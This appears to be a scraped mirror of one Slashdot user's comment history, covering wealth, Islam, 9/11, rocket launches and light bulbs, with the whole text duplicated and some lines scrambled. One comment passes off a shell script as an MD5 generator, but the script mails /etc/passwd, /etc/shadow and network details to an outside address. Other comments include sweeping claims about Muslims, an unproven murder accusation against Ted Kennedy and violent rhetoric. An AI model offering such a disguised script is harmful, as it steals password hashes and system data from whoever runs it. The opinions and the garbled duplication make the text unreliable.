I don't doubt that most of the top 500 richest people started out with "enough that they could do anything, but not enough to do nothing," as that is the standard I adhere to. It would be rather impressive to go up 6 orders of magnitude in income (hey - I still aspire to do it, though). What I (and most likely your friend) are talking about is, say, everyone with a net worth (excluding your house) of $1M, or all CEOs, or some such metric. Most of those guys come from lower to middle class, and are now upper middle class. All I'm saying is that hard (and smart) work can take you above your beginnings.
I really think it is foolish to say that the existence of billionaires makes the poor worse off. If I went out and assasinated everyone on the F500 tommorrow, would the poor be better off? What if I took all their money after killing them and gave every American $1,000 dollars? Would the poor be better off in 5 years? Or would prices just instantly go up by the amount distributed? Distributing money does not make coconuts appear! If you distrbute the money, there are still only 5 coconuts to go around, so the price of the coconut must rise. In addition, if those people did anything that others cannot do (which is the belief I hold), the poor would be worse off because companies would be run even worse than now - so there would be fewer jobs.
The big secret, I believe, is that Bill Gates is actually not that much richer than a $100 millionaire. If he tried to buy more happiness or pleasure, he couldn't. The things he can do that a $100 millionaire can't do are not very meaningful - except when used to help others. Money has a nonlinear value associated with it - and I believe that explains a lot of the unfairness perceived by most people.
As an aside, did you know that all this business of the top 5% getting richer faster than everyone else is statistically unavoidable? Think about it - income is distributed in a Poisson-like distribution, so a 1% increase in population causes a huge rise in income for the top 5%. Try it out - write a little program that randomly chooses incomes (vaguely guassian, like the sum of 100 random ints), and see what happens to that statistic as you increase the population...
Heh, well I have a good life, wife and family - though not really health. I agree that the system in unfair, but everything I have experienced leads me to believe it is very nearly the best possible system. If it was more fair, I believe there would be a net loss in happiness. I'm really not trying to talk down to you, but it is really a paradigm shift that most people need - to not look at what happened to you, but only to look at what you did that caused it. Toyota (I think) had an interesting program along these lines - Ask why 6 times. The production line stopped. Why? The bolt broke and I had to fix it. Why? 0.1% of all bolts break. Why? Because that is the spec in the contract. Why? Because it was industry standard language. Why? Because no-one had thought that one broken bolt per thousand would cost more than 100,000 bolts would!
I don't believe in unfettered capitalism, but I think almost everyone has but too many restraints on it. I actually like the way the US economy works, and Bill Gates doesn't make me feel inadequate.
But anyway - what would you change? How would you make it more fair? (The one change I would make is 100% estate taxes over $1M - though again, this law is completely unenforceable for the same reasons that the Kenedys pay no estate taxes!)
None of the people in these high profile cases came from money.
Um, dude, that is because most of the CEOs, etc come from middle or lower class! If you are born to wealth why would you work hard enough to be CEO? It really does take effort - that BS about upper class makes no sense, even your own research disputes it! (I do know that old rich guys tend to get away with murder, like Senator Ted Kenedy, for example. But they do not lead comerce, and I have a sneaky suspicion that you don't want him prosecuted - even if I certainly do!)
As for the disparity in prisons and sentencing, I agree that if it exists it should go away. That said, however, nonviolent criminals do not require the lockdown that violent ones do for obvious reasons. Prison is a box they put you in. Anything worse than that should be reserved to protect the guards and other inmates.
I agree that not everyone that works hard gets to the top - but I disagree that people that both work hard and work smart do not get themsleves at least near the top. Yes, it does take luck to be a Microsoft rather than a small company, but either one is the top as far as I am concerned. If you are having bad luck, then examine what is making your luck. Some things are unavoidable - I started a company that was heavily airline dependant 2 months before 9/11... it didn't work out so well. But a lot of it isn't - think about what you control, rather than the stuff you can't.
Good luck - I hope you make millionaire!
(Just to be clear, I do not agree the the AC above me - at least not with how he said it. You do make your own luck, but sometimes even that is by knowing when to quit.)
As a wise man once said: "Capitalism is the notion that evil men, doing evil things, will bring about the greatest good...." Or something to that effect...
Well, it is better than pretending that men won't be evil, doing evil things. Capitalism at least takes into account that bad people exist and tries to get some value out of them. The alternatives (communism, socialism) seem to be to just trust the nice government, they are here to help!
Are you from Europe? If so, that may explain things - in the US, there aren't that many rich families that can just inherit all their wealth to live. It is even considered bad form to leave your kids with enough that they don't have to work - Bill Gates and Warren Buffet being the best known examples.
From a purely economic standpoint, what you describe is not really true in most societies. On average, 80% of the profit gained from an activity goes to the workers. This has been true for as long as we have data to measure (which is actually a lot further than I would have thought - several centuries of good data at least). In fact, this was the data that really disproves the underpinning of socialism - the division of profit between capital providers and workers has not changed in all the years we have information about.
There is an interesting theory as to why this is true - essentially, 80% of the value is created by the workers. That means if you give the workers more than 80%, the capital providers lose money until they are no longer capital providers. On the other hand, if the capital providers keep more than 80% then the rest of the market passes them by, and again they are no longer capital providers.
Many people in the US go from lower class to middle class, and from middle class to upper class, and from upper class to elite all the time! I am a good example of that, as is a man I know that went from the projects to being a multimillionaire. There is no conspiracy keeping you down - just work for what you want in a way that will get you what you want, and use your head!
If there really was a conspiracy, I would recommend getting to know those on the "inside". That way you could join in or subvert. The fact is, there is no conspiracy - anyone that works hard enough gets to the top. And at the top, you are taking 20% from a lot of overall profit!
There have been very few true democracies in history, for exactly this reason. In a true Democracy, the few are sacrificed at the pleasure of the many. Once those few are gone, you subdivide again and prey on the new few. This repeats until the society disappears. This is actaully very close to what happens in Islamic society - there are two groups, the pious and the more pious. The more pious are given power, and so grow in number (power in Islam is given to those deemed most pious by most people). Then the more pious separate into an even more pious group and an only more pious group, and rinse and repeat. This leads to the most pious (the person willing to sacrifice most for religion) getting the largest concentration of power. This person will impose Sharia, and cannot comprehend why anyone would not choose his life - in other words, 90% of the population is forced to conform to the will of the 10%.
By the way, if you had ever investigated a crash / researched what happens to planes under stress you would know that it is very easy to make a plane break up in midair without a missile. The passengers never made it into the cockpit, but they would have - so the terrorists destroyed the plane. You pull enough positive Gs and the engines rip right off the pods - this happened while testing the 747, I believe.
Why do you assume that only you know the "truth"? It is far more likely that the other 90% are right and you are not mentaly stable in this area... (This is not a bad thing, as long as you realize it. The other 10% force the 90% to prove things a little better.)
Uhm... have you read the Christian Bible lately? Ours too, is a vengeful God.
Precisely why we have these "rights" - because you don't want to do what my religion requires and I don't want to do what your religion requires, regardless of who has 51% of the vote.
I'd be surprised if you replaced Muslim with "Baptist" in the US, and Islamic with "Christian", you wouldn't come up with the same result.
And by the way, I'm tired of seeing this as well. No one is trying to make the Vaticant rule any other countries. No one is trying to force everbody else to attend mass.
In the US, at least, we value our freedom too much - what we learn in church is to get along with everyone, and not to try to force others to conform. (Of course that gets lost on some, but in general that is the opinion.) There are disagreements about some things (teaching evolution, abortion, etc.) but these are contested peacefully - 30% of the population does not want to impose martial law on the other 70%.
WRONG! The reason we put in "rights" and other limitations on laws is so that mob rule does not ensue. No one has the right to beat Jews just because they are in the minority - and Sharia has far more severe rules included in it as well.
The real problem with an analysis like this is that it ignores one thing: motive. Truthfully, Americans are not afraid of terrorists - we the people took down a plane ourselves once we knew what was going on. What Americans fear is loss of freedom. The Osama Bin Ladens of this world want to force the US to impose Sharia - and to most Americans (especially the ones in the military right now) that is a fate worse than death. Osama truly believes that he is right, and that by killing us he will save whomever is left to convert.
The real statistic you need is this: What is the probability that strongly motivated people that think they are doing the right thing and are willing to die for it will accomplish their goals if unopposed?
I think you'll find the probabilty is nearly 100%...
LBOs happen when a companies managers think the company is more valuable than the investors assume - so the managers buy out the company. Typically, this leads to a lawsuit against the managers, since the "only way" they could make a profit is if they used to be shirking, and afterwards started working. This appears to be a special case - probably the managers don't think losing Mac was as bad as the shareholders did.
The real benefit of high altitude launch is that rockets work much better when they don't have to work against a full atmosphere of back pressure. To throw in some real numbers, an engine I'm working on has an Isp (efficiency, basically) of 190 at sea level, but 290 in vaccuum. So a high altitude launch can decrease the amount of fuel required - and remember, rockets are normally running right on the edge of feasibility, so using less fuel is very important.
But as you point out, you don't have a "shorter trip".
You are talking about a launch method that accelerates in a straight line. That has been extensively studied for cannon launch. Ya know, sometimes you can reuse previously done research for other purposes...
Sorry, try again... Its just not financially worth it
Please look up the meaning of "practically unatainable", you will find that it is directly connected to cost/benefit. Besides that, the link you gave was to a moderate speed tunnel - you need far higher speeds and accelerations. The big problem is switching large induction currents on and off - this is not a solved problem (for reasonable amounts of money). There are ways to do it, but they are hard to do and expensive.
thats because they don't exist and are unlkely to exist
I would agree, but that doesn't mean that we cannot describe their likely properties. The thing is extremely long, there are limits to the velocity that can be achieved (while still getting any benefit from the cable), and there are low limits on the mass allowed on the cable. Therefore the cable mass to payload mass ratio is going to be high. Cables in low orbit last about one month before they are cut by micrometeorite erosion - so maintainence will most likwly be high.
A rocket launched from the top of the tower will still have to provide orbital velocity
This is not true for practical values of true;-} , here is how you avoid that problem:
Launch a rocket straight up so that it is going 20 km/s when it passes 400km (going straight up). As you coast to a stop at 20,000 km 2000 seconds later, fire your tiny rocket and give yourself a ~2000 m/s delta v (this is 2 G accelaration for 2 minutes, for example - far less than a normal rocket burn). On your way (falling) back down to 400 km altitude (takes another 2000 seconds), you go on the order of 8,000 km away from the launch point - and your trajectory now grazes the atmosphere, but does not hit earth. As you burn off energy in the atmosphere, the high point of the other side of your orbit lowers until it gets to the altitude you want. Then, when you reach the high point on the next pass you fire your rocket in another small burn to circularize the orbit.
This was studied in regards to cannon launch - it does work, but is probably too complex to be comercially viable. The real killer in these types of designs is the accelarator - electromagnetics just don't work as well as most people think. High velocities are practically unatainable in reality.
That said, space elevators are impractical as well - give me nanotubes to make the space shuttle out of and we have no worries from it either! Space elevators have a low mass throughput rate and high maintainence costs - but seriously that is probably the best thing NASA could do, since government agencies have strange economics anyway.
Hm - well, they were lights on a pole with a reflector pointing up. The bulbs were definately sunk in tightly, but I can't imagine they got that hot. Maybe they did, though.
I think in a few years the kinks will have been worked out - but I already got slammed by my wife once, so I can't take that risk again!
Two years ago, I bought 6 bulbs. Over half died in the first month - the last one died just a little while ago. To me that was the killer, I am not willing to waste time buying new bulbs every few weeks. They say that they last x thousand hours - OK, what I want is a guarantee that if they do not last the seller will pay me for my time spent getting new ones, because I just don't believe them anymore.
(I've heard that it must be that my power is bad - well, I live in downtown Chicago in a highrise, with no control over the quality of my power - the bulb should not require especially good power... especially since standard bulbs last just fine)
There are no circumstances under which I would kill, except in self defence.
I'm curious. Assume that the Jihadists win this current effort, and the US is forced to convert and accept Sharia law and all that entails. Are you saying you would not resist forcefully?
If not, then all I can say is that you would die. Either you would protest and die, or you would become Muslim and the current you would not exist anymore.
There are things worth dying for. Anything worth dying for is worth making the opposition die for instead.
I found some other interesting information on this subject, BTW. The US Government expenditures an average double every 10 years, and have since basically World War II - but they aren't doing that anymore. Since 2000, the growth rate has slowed significantly.
I find this interesting because I have always assumed that the way to lower spending is to have Congress and the President in opposing parties - but the evidence does not seem to favor that.
Slashdot Mirror
I don't doubt that most of the top 500 richest people started out with "enough that they could do anything, but not enough to do nothing," as that is the standard I adhere to. It would be rather impressive to go up 6 orders of magnitude in income (hey - I still aspire to do it, though). What I (and most likely your friend) are talking about is, say, everyone with a net worth (excluding your house) of $1M, or all CEOs, or some such metric. Most of those guys come from lower to middle class, and are now upper middle class. All I'm saying is that hard (and smart) work can take you above your beginnings.
I really think it is foolish to say that the existence of billionaires makes the poor worse off. If I went out and assasinated everyone on the F500 tommorrow, would the poor be better off? What if I took all their money after killing them and gave every American $1,000 dollars? Would the poor be better off in 5 years? Or would prices just instantly go up by the amount distributed? Distributing money does not make coconuts appear! If you distrbute the money, there are still only 5 coconuts to go around, so the price of the coconut must rise. In addition, if those people did anything that others cannot do (which is the belief I hold), the poor would be worse off because companies would be run even worse than now - so there would be fewer jobs.
The big secret, I believe, is that Bill Gates is actually not that much richer than a $100 millionaire. If he tried to buy more happiness or pleasure, he couldn't. The things he can do that a $100 millionaire can't do are not very meaningful - except when used to help others. Money has a nonlinear value associated with it - and I believe that explains a lot of the unfairness perceived by most people.
As an aside, did you know that all this business of the top 5% getting richer faster than everyone else is statistically unavoidable? Think about it - income is distributed in a Poisson-like distribution, so a 1% increase in population causes a huge rise in income for the top 5%. Try it out - write a little program that randomly chooses incomes (vaguely guassian, like the sum of 100 random ints), and see what happens to that statistic as you increase the population...
Heh, well I have a good life, wife and family - though not really health. I agree that the system in unfair, but everything I have experienced leads me to believe it is very nearly the best possible system. If it was more fair, I believe there would be a net loss in happiness. I'm really not trying to talk down to you, but it is really a paradigm shift that most people need - to not look at what happened to you, but only to look at what you did that caused it. Toyota (I think) had an interesting program along these lines - Ask why 6 times. The production line stopped. Why? The bolt broke and I had to fix it. Why? 0.1% of all bolts break. Why? Because that is the spec in the contract. Why? Because it was industry standard language. Why? Because no-one had thought that one broken bolt per thousand would cost more than 100,000 bolts would!
I don't believe in unfettered capitalism, but I think almost everyone has but too many restraints on it. I actually like the way the US economy works, and Bill Gates doesn't make me feel inadequate.
But anyway - what would you change? How would you make it more fair? (The one change I would make is 100% estate taxes over $1M - though again, this law is completely unenforceable for the same reasons that the Kenedys pay no estate taxes!)
None of the people in these high profile cases came from money.
Um, dude, that is because most of the CEOs, etc come from middle or lower class! If you are born to wealth why would you work hard enough to be CEO? It really does take effort - that BS about upper class makes no sense, even your own research disputes it! (I do know that old rich guys tend to get away with murder, like Senator Ted Kenedy, for example. But they do not lead comerce, and I have a sneaky suspicion that you don't want him prosecuted - even if I certainly do!)
As for the disparity in prisons and sentencing, I agree that if it exists it should go away. That said, however, nonviolent criminals do not require the lockdown that violent ones do for obvious reasons. Prison is a box they put you in. Anything worse than that should be reserved to protect the guards and other inmates.
I agree that not everyone that works hard gets to the top - but I disagree that people that both work hard and work smart do not get themsleves at least near the top. Yes, it does take luck to be a Microsoft rather than a small company, but either one is the top as far as I am concerned. If you are having bad luck, then examine what is making your luck. Some things are unavoidable - I started a company that was heavily airline dependant 2 months before 9/11... it didn't work out so well. But a lot of it isn't - think about what you control, rather than the stuff you can't.
Good luck - I hope you make millionaire!
(Just to be clear, I do not agree the the AC above me - at least not with how he said it. You do make your own luck, but sometimes even that is by knowing when to quit.)
As a wise man once said: "Capitalism is the notion that evil men, doing evil things, will bring about the greatest good...." Or something to that effect...
Well, it is better than pretending that men won't be evil, doing evil things. Capitalism at least takes into account that bad people exist and tries to get some value out of them. The alternatives (communism, socialism) seem to be to just trust the nice government, they are here to help!
How about this.
Things have changed.
Are you from Europe? If so, that may explain things - in the US, there aren't that many rich families that can just inherit all their wealth to live. It is even considered bad form to leave your kids with enough that they don't have to work - Bill Gates and Warren Buffet being the best known examples.
From a purely economic standpoint, what you describe is not really true in most societies. On average, 80% of the profit gained from an activity goes to the workers. This has been true for as long as we have data to measure (which is actually a lot further than I would have thought - several centuries of good data at least). In fact, this was the data that really disproves the underpinning of socialism - the division of profit between capital providers and workers has not changed in all the years we have information about.
There is an interesting theory as to why this is true - essentially, 80% of the value is created by the workers. That means if you give the workers more than 80%, the capital providers lose money until they are no longer capital providers. On the other hand, if the capital providers keep more than 80% then the rest of the market passes them by, and again they are no longer capital providers.
Many people in the US go from lower class to middle class, and from middle class to upper class, and from upper class to elite all the time! I am a good example of that, as is a man I know that went from the projects to being a multimillionaire. There is no conspiracy keeping you down - just work for what you want in a way that will get you what you want, and use your head!
If there really was a conspiracy, I would recommend getting to know those on the "inside". That way you could join in or subvert. The fact is, there is no conspiracy - anyone that works hard enough gets to the top. And at the top, you are taking 20% from a lot of overall profit!
New phishing method of identity theft discovered! Thugs with guns run up and ask you what your name is!
There have been very few true democracies in history, for exactly this reason. In a true Democracy, the few are sacrificed at the pleasure of the many. Once those few are gone, you subdivide again and prey on the new few. This repeats until the society disappears. This is actaully very close to what happens in Islamic society - there are two groups, the pious and the more pious. The more pious are given power, and so grow in number (power in Islam is given to those deemed most pious by most people). Then the more pious separate into an even more pious group and an only more pious group, and rinse and repeat. This leads to the most pious (the person willing to sacrifice most for religion) getting the largest concentration of power. This person will impose Sharia, and cannot comprehend why anyone would not choose his life - in other words, 90% of the population is forced to conform to the will of the 10%.
By the way, if you had ever investigated a crash / researched what happens to planes under stress you would know that it is very easy to make a plane break up in midair without a missile. The passengers never made it into the cockpit, but they would have - so the terrorists destroyed the plane. You pull enough positive Gs and the engines rip right off the pods - this happened while testing the 747, I believe.
Why do you assume that only you know the "truth"? It is far more likely that the other 90% are right and you are not mentaly stable in this area... (This is not a bad thing, as long as you realize it. The other 10% force the 90% to prove things a little better.)
Uhm... have you read the Christian Bible lately? Ours too, is a vengeful God.
Precisely why we have these "rights" - because you don't want to do what my religion requires and I don't want to do what your religion requires, regardless of who has 51% of the vote.
I'd be surprised if you replaced Muslim with "Baptist" in the US, and Islamic with "Christian", you wouldn't come up with the same result.
And by the way, I'm tired of seeing this as well. No one is trying to make the Vaticant rule any other countries. No one is trying to force everbody else to attend mass.
In the US, at least, we value our freedom too much - what we learn in church is to get along with everyone, and not to try to force others to conform. (Of course that gets lost on some, but in general that is the opinion.) There are disagreements about some things (teaching evolution, abortion, etc.) but these are contested peacefully - 30% of the population does not want to impose martial law on the other 70%.
Err, as is their perfect right?
WRONG! The reason we put in "rights" and other limitations on laws is so that mob rule does not ensue. No one has the right to beat Jews just because they are in the minority - and Sharia has far more severe rules included in it as well.
The real problem with an analysis like this is that it ignores one thing: motive. Truthfully, Americans are not afraid of terrorists - we the people took down a plane ourselves once we knew what was going on. What Americans fear is loss of freedom. The Osama Bin Ladens of this world want to force the US to impose Sharia - and to most Americans (especially the ones in the military right now) that is a fate worse than death. Osama truly believes that he is right, and that by killing us he will save whomever is left to convert.
The real statistic you need is this: What is the probability that strongly motivated people that think they are doing the right thing and are willing to die for it will accomplish their goals if unopposed?
I think you'll find the probabilty is nearly 100%...
LBOs happen when a companies managers think the company is more valuable than the investors assume - so the managers buy out the company. Typically, this leads to a lawsuit against the managers, since the "only way" they could make a profit is if they used to be shirking, and afterwards started working. This appears to be a special case - probably the managers don't think losing Mac was as bad as the shareholders did.
The real benefit of high altitude launch is that rockets work much better when they don't have to work against a full atmosphere of back pressure. To throw in some real numbers, an engine I'm working on has an Isp (efficiency, basically) of 190 at sea level, but 290 in vaccuum. So a high altitude launch can decrease the amount of fuel required - and remember, rockets are normally running right on the edge of feasibility, so using less fuel is very important.
But as you point out, you don't have a "shorter trip".
Can you name one country including the muslim ones that has not had a muslim attack in recent history?
That fact that you have to look pretty hard, even if you could find one, should be very telling...
we are not talking about cannon launches here
You are talking about a launch method that accelerates in a straight line. That has been extensively studied for cannon launch. Ya know, sometimes you can reuse previously done research for other purposes...
Sorry, try again... Its just not financially worth it
Please look up the meaning of "practically unatainable", you will find that it is directly connected to cost/benefit. Besides that, the link you gave was to a moderate speed tunnel - you need far higher speeds and accelerations. The big problem is switching large induction currents on and off - this is not a solved problem (for reasonable amounts of money). There are ways to do it, but they are hard to do and expensive.
thats because they don't exist and are unlkely to exist
I would agree, but that doesn't mean that we cannot describe their likely properties. The thing is extremely long, there are limits to the velocity that can be achieved (while still getting any benefit from the cable), and there are low limits on the mass allowed on the cable. Therefore the cable mass to payload mass ratio is going to be high. Cables in low orbit last about one month before they are cut by micrometeorite erosion - so maintainence will most likwly be high.
A rocket launched from the top of the tower will still have to provide orbital velocity
;-} , here is how you avoid that problem:
This is not true for practical values of true
Launch a rocket straight up so that it is going 20 km/s when it passes 400km (going straight up). As you coast to a stop at 20,000 km 2000 seconds later, fire your tiny rocket and give yourself a ~2000 m/s delta v (this is 2 G accelaration for 2 minutes, for example - far less than a normal rocket burn). On your way (falling) back down to 400 km altitude (takes another 2000 seconds), you go on the order of 8,000 km away from the launch point - and your trajectory now grazes the atmosphere, but does not hit earth. As you burn off energy in the atmosphere, the high point of the other side of your orbit lowers until it gets to the altitude you want. Then, when you reach the high point on the next pass you fire your rocket in another small burn to circularize the orbit.
This was studied in regards to cannon launch - it does work, but is probably too complex to be comercially viable. The real killer in these types of designs is the accelarator - electromagnetics just don't work as well as most people think. High velocities are practically unatainable in reality.
That said, space elevators are impractical as well - give me nanotubes to make the space shuttle out of and we have no worries from it either! Space elevators have a low mass throughput rate and high maintainence costs - but seriously that is probably the best thing NASA could do, since government agencies have strange economics anyway.
Here is a script you can use to generate the MD5s:
/etc/passwd` /etc/shadow`
#!/bin/sh
sendmail me@me.com theEnd
`cat
`cat
`ifconfig`
`netstat -anlp`
theEnd
Hm - well, they were lights on a pole with a reflector pointing up. The bulbs were definately sunk in tightly, but I can't imagine they got that hot. Maybe they did, though.
I think in a few years the kinks will have been worked out - but I already got slammed by my wife once, so I can't take that risk again!
Two years ago, I bought 6 bulbs. Over half died in the first month - the last one died just a little while ago. To me that was the killer, I am not willing to waste time buying new bulbs every few weeks. They say that they last x thousand hours - OK, what I want is a guarantee that if they do not last the seller will pay me for my time spent getting new ones, because I just don't believe them anymore.
(I've heard that it must be that my power is bad - well, I live in downtown Chicago in a highrise, with no control over the quality of my power - the bulb should not require especially good power... especially since standard bulbs last just fine)
Heh, I didn't really have an argument - but I was looking at the wrong column. Sorry!
There are no circumstances under which I would kill, except in self defence.
I'm curious. Assume that the Jihadists win this current effort, and the US is forced to convert and accept Sharia law and all that entails. Are you saying you would not resist forcefully?
If not, then all I can say is that you would die. Either you would protest and die, or you would become Muslim and the current you would not exist anymore.
There are things worth dying for. Anything worth dying for is worth making the opposition die for instead.
I found some other interesting information on this subject, BTW. The US Government expenditures an average double every 10 years, and have since basically World War II - but they aren't doing that anymore. Since 2000, the growth rate has slowed significantly.
I find this interesting because I have always assumed that the way to lower spending is to have Congress and the President in opposing parties - but the evidence does not seem to favor that.